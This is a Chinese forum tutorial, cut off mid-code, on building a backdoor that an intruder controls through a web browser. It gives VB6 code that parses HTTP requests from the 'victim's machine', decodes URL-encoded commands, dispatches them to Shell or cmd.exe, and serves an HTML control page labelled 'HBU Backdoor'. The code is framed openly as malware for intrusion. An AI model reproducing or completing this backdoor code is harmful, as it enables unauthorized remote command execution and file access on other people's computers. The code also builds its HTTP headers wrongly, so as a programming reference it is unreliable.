一、回顾
通常,入侵者通过Telnet登录被下了后门的入侵者的系统,用文本命令交互达到目的;远程用木马偷看屏幕等。这都是普遍的C/S模式(Client/Server,客户端/服务器)。
C/S模式要求入侵者必须有一个客户端程序,例如系统自带的Telnet、木马的Client端,这就意味着,入侵者必须随时都有相应的客户端程序和辅助工具(例如NTLM),否则只能发愣了。
如果有种后门能用浏览器实现入侵控制,我们将会轻松许多。
提起浏览器,每个人都不会陌生,Internet Explorer曾把我们带入网络世界,而现在,它把我们带入了后门控制的世界。
二、基于HTTP协议的控制
除了C/S模式,还有一种模式被称为B/S(Browser/Server,浏览器/服务器),由于浏览器无处不在,它无疑会成为后门控制的最佳应急选择。
实际上,B/S模式的核心依然是C/S模式,浏览器(Browser)充当一个客户端程序(Client)与服务器(Server)进行数据传输,基本上就是C/S模式,只是它提供了一种简便的交互界面,无需专用的Client连接。Server端在受害者的机器等待入侵者用Internet Explorer等浏览器来发送命令,并以HTML页面方式返回返回数据。
所以,要制作基于B/S模式的后门,前提是了解HTTP协议和基础的HTML制作,你不用学会制作复杂的表格,但是必须会最基本的表单提交,这是Browser与Server交互的方式。
可以用FrontPage、Dreamweaver等工具制作网页后提取相关HTML代码。
三、解析HTTP与页面交互
如果对HTTP和HTML一窍不通,制作B/S模式后门简直是天方夜谭。
§1.HTTP协议
HTTP协议(HyperText Transfer Protocol,超文本传输协议)使用TCP协议和明文字符传递数据,在这里我并不想详细介绍HTTP协议,大家可以自己看RFC文档。
一个完整的HTTP协议主要包括HTTP请求和HTTP回应。
§1.1 HTTP请求
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
一个基本的HTTP请求如下(<CR>代表换行符):
===================================================
GET /index.htm HTTP/1.0<CR>
Accept:*/*<CR>
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)<CR>
Host:
www.target.com<CR>
<CR>
<CR>
===================================================
HTTP请求可以粗略分为3个分段:
1.基本数据:GET /index.htm HTTP/1.0<CR>
表示用GET方法请求根目录的index.htm,使用 HTTP 1.0 的协议版本,用换行符表示结束。
用变量表达式可以看得仔细一些:
[提交方式] [目标文件+参数] [HTTP协议版本]<换行>
提交方式表示浏览器使用什么格式把数据传输给服务器,常见的有GET、POST、PUT等,GET是最普通的提交方式,它主要用于获取文件和传送简单的表单数据;POST主要用于表单提交,用POST提交的URL可以大于1024字节,这是GET做不到的;PUT一般只用于上传文件。
紧跟着提交方式的是目标文件名和参数,它是HTTP请求里重要的一部分,服务器通过读、写、执行指定的文件完成请求,这也是个容易惹事的部分,例如URL过长攻击,就是在这部分内容使用了超过服务器处理的字符串使没有防护措施的程序出现异常。
HTTP协议版本在结尾处告诉服务器,客户端提交的HTTP版本。目前最通用的标准是HTTP/1.1。HTTP/1.1是在HTTP/1.0基础上的升级,增加了一些功能,全面兼容HTTP/1.0。其实我们只需知道,HTTP/1.0与HTTP/1.1相比最明显的差别是:HTTP/1.0不支持文件断点续传。
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
2.附加数据:Accept:*/*<CR>
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)<CR>
Host:
www.target.com<CR>
跟随在HTTP/1.0后一行开始的字符无论有多少,都只是一种附加数据,用于详细说明该次HTTP请求需要什么细节设置,一般比较重要的是Set-Cookie和Referer信息。
3.结束标志:<CR><CR>(两个换行符)
这是表示HTTP请求结尾的标志,服务器必须接收到至少2个换行符才会对这次的HTTP报文进行处理。
4.可用的部分
根据HTTP报文格式,按照理论我们可以从基本数据段和附加数据段去开发B/S,但是由于浏览器不能让我们自定义附加数据,所以实际上只有用基本数据来控制。
§1.2 HTTP回应
有请求必然会有回应,服务器不是人类,除非有防火墙封住嘴巴。
下面是一个基本的HTTP回应:
===================================================
HTTP/1.1 200 OK
Date: Sat, 21 Jun 2003 07:10:15 GMT
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
Server: Apache/1.3.27 (Unix) PHP/4.2.3
Last-Modified: Wed, 07 May 2003 09:40:56 GMT
Accept-Ranges: bytes
Content-Length: 1228
Connection: close
Content-Type: text/html
<HTML>
<HEAD>Hello World</HEAD>
………………
===================================================
同样套入变量表达式:
===================================================
[HTTP协议版本] [HTTP状态代码] [附加说明]
[附加数据]
[空白行]
[真正返回的数据]
===================================================
返回的数据用一个空行分离HTTP头部信息和数据段,头部信息用于客户端判断和控制,数据段就是我们获取的内容。
HTTP状态代码指出了此次HTTP传输的最终结果,通常用一个三位数表示。
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
表1.常见的HTTP状态代码含义
===================================================
200 成功返回数据
206 断点继传
400 错误请求
401 认证禁止
403 权限禁止
404 文件未找到
500 内部错误(例如CGI程序没有输出)
===================================================
附加说明大概是为了更保险一些吧,用英文把前面的特征代码表达出来,也许是为了兼容各种浏览器,这是RFC的定义,但是我们直接判断状态代码就可以。
附加数据主要提供了服务器类型、日期、返回的长度、Cookie设置信息、断点继传等,作用大着呢,例如国内某工具就用HTTP回应里的日期来决定是否继续让用户使用……不过这里并不是介绍制作下载工具,就此打住。
最后剩下的就是HTTP回应内容了,平时,我们看得最多的也就是这部分。回应内容可以是ASCII的,也可以是Binary的,浏览器主要通过HTTP头部的Content-Type段判断。
§2.最重要的HTML交互——表单提交
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
相信大家都知道在HTML页面里点击一个按钮发表文章帖子,这时候浏览器的后台操作是怎么样的呢?例如这段表单:
<form action="register"><p size=9px> 名字 <input type="text" name="UserName"></p><p> 年龄 <input name="Age" type="text"></p><input type="submit" value="注册"></form>
转换成表单模型:
<form action=[控制命令]><p>[内容描述]<input type="text" name=[参数1]></p><p>[内容描述2]<input type="text" name=[参数2]></p><input type="submit" value=[描述]></form>
<form></form>定义了一个表单域,所有位于表单域里的带有value属性的元素均被列举出来形成提交队列,通过submit按钮发送出去,而form定义里的action属于重要变量,主要用于指定文件或主要参数,其余的元素均跟在action后面,用?隔开,队列不止一个时用&连接,当然,这一切都是浏览器自动完成的。浏览器对表单的处理顺序为:Action--->参数1--->参数2--->……。
用工具捕获IE输出,可以看到点击按钮后实际是发送了以下HTTP请求:
POST /register?UserName=LK007&Age=18 HTTP/1.1
Accept:text/html
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Host:
www.target.com
根据前面的分析,我们可以知道,最重要的部分是这段:
/register?UserName=LK007&Age=18
分析它的格式:
[目标文件]?[附加数据1=数据]&[附加数据2=数据]&..............
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
应用在B/S模式中,可以这样理解:
[命令]?[参数1=值]&[参数2=值]&......
注意,前面提到的表单里,<input type="submit" value=[描述]>,这是个提交按钮,必须省略它的NAME属性(完整的提交按钮格式是<input type="submit" name=[参数] value=[描述]>),否则浏览器会在所有数据后追加一个附加数据用于表示按钮,这样我们前面提到的“/register?UserName=LK007&Age=18”就会变成“/register?UserName=LK007&Age=18&[按钮NAME]=[按钮value]”,对程序分割命令段没什么好处。
例如:/writefile?filename=c:\windows\desktop\user.txt&text=hello,nice%20to%20meet%20you
它表示用写入文件的命令往c:\windows\desktop\user.txt写入内容“hello,nice to meet you”,浏览器输出的中文和特殊字符必须经过URL编码,因此空格被编码成了%20。
取得这些数据后,还必须把它分解,后面我们将会提到。
四、开始编程
关于HTTP和表单的概念就介绍到这,现在该转入代码讲解部分了。(开发语言:VB 6.0)
限于篇幅,我并不想讲WinSock部分和程序枝叶,大家可以自己看文章附上的完整工程,在这里我只说与HTTP解析部分、表单处理和HTML处理有关的内容。
1.取出HTTP请求里的主体部分
由于浏览器的HTTP请求里有很多辅助数据,而我们需要的仅仅是第一行的目标文件(用作命令参数处理),所以必须用一段代码把不相关的数据全部去掉。
思路其实很简单,通过几次Left、Right、InStr等字符处理函数把它层层剥离即可。
===================================================
Function ProcHTTP(strData As String) As String
'去除HTTP请求中的基本数据头尾、附加数据、结束标志
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
'Author:LK007
'使用方法:字符变量=ProcHTTP([HTTP报文])
'返回: ProcHTTP("GET /hello?id=LK007 HTTP/1.1") = "/hello?id=LK007"
On Error Resume Next
Dim FindGet As Integer, FindPost As Integer, spc2 As Integer
If Mid$(strData$, 1, 3) = "GET" Then '如果以GET开头
FindGet = InStr(strData$, "GET ")
spc2 = InStr(FindGet + 5, strData$, " ") ' 取得第二个空格分隔符位置(“HTTP”字符)
ProcHTTP = Trim$(Mid$(strData$, FindGet + 4, spc2 - (FindGet + 4))) '分离数据
ElseIf Mid$(strData$, 1, 4) = "POST" Then '如果以POST开头
FindPost = InStr(strData$, "POST ")
spc2 = InStr(FindPost + 5, strData$, " ") '取第二个空格
ProcHTTP = Trim$(Mid$(strData$, FindPost + 5, spc2 - (FindPost + 5))) '分离数据
End If
End Function
===================================================
2.URL编码的问题
这是一个不得不提的处理部分,由于HTTP协议的限制,浏览器发送的HTTP请求里必须严格的按照“[提交方式] [目标文件+参数] [HTTP协议版本]”的格式,就是说只能有2个空格。如果中间部分出现了空格,服务器就会把这次的HTTP请求视为非法,即返回 400 Bad Request 错误,所以浏览器在输出时会把空格转换为%20,即Unicode编码,代码表示为"%" & Hex(Asc(" ")),但是浏览器还会把大部分特殊字符(不在0---Z范围内的全部属于特殊字符)和中文都来个Unicode编码,这个处理过程称为URL编码(URLEncode)。由于有这些因素存在,所以我们写的服务端就有可能接收到Unicode字符串,而WinSock并没有给我们自动转换回Ansi-String,这就造成了程序必须面对一大堆由百分号和不知所谓的字符组合的尴尬局面,服务端和浏览器之间可能会由此产生某种程度的误会。所以,我们需要把Unicode恢复成Ansi-String,这一步骤叫URL解码(URLDecode)。
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
由于VB没有提供现成的URL编码解码函数,我们只能自己写了-_-b
原理:根据百分号把字符的HEX编码提出来,然后CHR()恢复。
===================================================
Function URLDecode(ByVal sEncoded As String) As String
'把URL编码恢复普通字符
'Author:张移山《用VB开发标准CGI程序》,Thanks!
Dim pointer As Long
Dim pos As Long
Dim temp As String
If sEncoded = "" Then Exit Function
pointer = 1
Do
pos = InStr(pointer, sEncoded, "+")
If pos = 0 Then Exit Do
Mid$(sEncoded, pos, 1) = " "
pointer = pos + 1
Loop
pointer = 1
Do
pos = InStr(pointer, sEncoded, "%")
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
If pos = 0 Then Exit Do
temp = Chr$("&H" & (Mid$(sEncoded, pos + 1, 2)))
If Mid(sEncoded, pos + 3, 1) = "%" And (temp <> ":") And (temp <> "/") _
And (temp <> "(") And (temp <> ")") And (temp <> ".") And (temp <> ",") _
And (temp <> ";") And (temp <> "%") Then
Mid$(sEncoded, pos, 2) = Chr$("&H" & (Mid$(sEncoded, pos + 1, 2)) _
& (Mid$(sEncoded, pos + 4, 2)))
sEncoded = Left$(sEncoded, pos) & Mid$(sEncoded, pos + 6)
pointer = pos + 1
Else
Mid$(sEncoded, pos, 1) = temp
sEncoded = Left$(sEncoded, pos) & Mid$(sEncoded, pos + 3)
pointer = pos + 1
End If
Loop
URLDecode = sEncoded
End Function
===================================================
把尴尬解除后,我们进行下一步。
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
3.命令分离和处理
服务端接收到一个HTTP请求去除枝叶后,进行Unicode编码恢复,最后把命令和参数分离处理。
别把这里看得太复杂,如果你写过C/S模式的木马或后门,对比一下,你会发现其实到了最后也是和C/S模式一样处理几个特定格式的字符串组成的命令。
例如:
/dir?directory=c:\&filter=*.* 用命令行的处理模式来看,它要表达的就是“dir c:\*.*”。
可是这段数据对程序来说,还是显得太复杂了,程序并不能从一段混乱的代码中自动获取你的命令,我们需要给它写个分解过程,用一个数组存放分离出的命令参数,这样就不必考虑每个命令的先后顺序了。
===================================================
Sub ProcessURL(strURL As String)
Dim sCommand As String '命令
Dim svalue(15) As String '最大处理16个参数
Dim sTmp As String, sLength As Integer, i As Integer
'例子
strURL = "/dir?directory=c:\&filter=*.*"
strURL = Trim$(Right$(strURL, Len(strURL) - 1)) '去除"/"
sCommand = Left$(strURL, InStr(strURL, "?") - 1) '分割命令和参数
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
sTmp = Right(strURL, (Len(strURL) - Len(sCommand) - 1))
For i = 0 To 15
If InStr(sTmp, "&") = 0 Then svalue(i) = sTmp: Exit For
svalue(i) = Left$(sTmp, InStr(sTmp, "&") - 1)
sTmp = Right(sTmp, (Len(sTmp) - Len(svalue(i)) - 1))
Next
Select Case sCommand
Case "dir"
Dim sDir As String
Dim sFilter As String
For i = 0 To 15
If InStr(svalue(i), "directory=") <> 0 Then
sDir = Right$(svalue(i), Len(svalue(i)) - 10) 'Len("directory=")=10
ElseIf InStr(svalue(i), "filter=") <> 0 Then
sFilter = Right$(svalue(i), Len(svalue(i)) - 7) 'Len("filter=")=7
Else
End If
Next
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
'在这里可以放置一个处理函数
'例如 Shell sCommand & sDir & sFilter
'然后返回
'例如 OutputHTML(数据)
Case .....
Case Else
End Select
End Sub
===================================================
上面的URL经过分离循环后,得到命令“dir c:\*.*”。
我们可以用多种方法执行这个命令,如Shell、CreateProcess、管道等,例如一个最简单的方法:cmd.exe /c dir c:\*.* > c:\setup.txt,把结果输出到一个文本文件,然后读取它(执行结果),并用一个HTML页面返回数据,见下章。
3.输出HTML
这是B/S模式后门与浏览器交互的界面,其精致程度主要取决于编写者的HTML功底……
在输出HTML时,必须按照HTTP回应格式,至少需要有协议版本和状态代码,否则会造成不必要的麻烦。
当我们用
http://IP:端口/ 来访问后门时,输出默认页面,这是B/S模式必需的输出方式,因为不会有人能牢记一长串URL命令,这不是在做Telnet。
输出的HTML至少必须包括一个服务端能识别处理的表单。
===================================================
//文章出处:网络技术论坛(
http://bbs.nettf.net) 作者:小金
Function DefaultHTML()
'默认的HTML页面
On Error Resume Next
Dim x As String
x = "HTTP/1.1 200 OK" & vbCrLf & vbCrLf
x = x & "Server: HBU Backdoor" & vbCrLf & vbCrLf
x = x & vbCrLf & "<HTML><HEAD><TITLE>B/S Example .::Powered by 小金::.</TITLE>" & _
"<META content=""text/html; charset=gb2312"" http-equiv=Content-Type>" & _
"</HEAD><BODY aLink=#ffffff bgColor=#4f9fdf bottomMargin=0 leftMargin=0 rightMargin=0 topMargin=0 vLink=#ffffff>" & _
"<p align=""center""><b><font size=""6"" color=""#000066"">显示目录</font></b></p>" & _
"<hr width=""100%"" size=""1"" color=""#FFFFFF"" ><table width=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0""><tr><td width=""41%""><form action=""dir""><p size=9px> 路径 <input type=""text"" name=""directory"" value=""c:\""></p><p> 文件类型 <input name=""filter"" type=""text"" value=""*.*""></p><input type=""submit"" value=""显示""></form></td></tr></table><hr width=""100%"" size=""1"" color=""#FFFFFF"" ><p align=""center""><font face=""Arial"" size=""2"" color=""#FFFFFF""><b>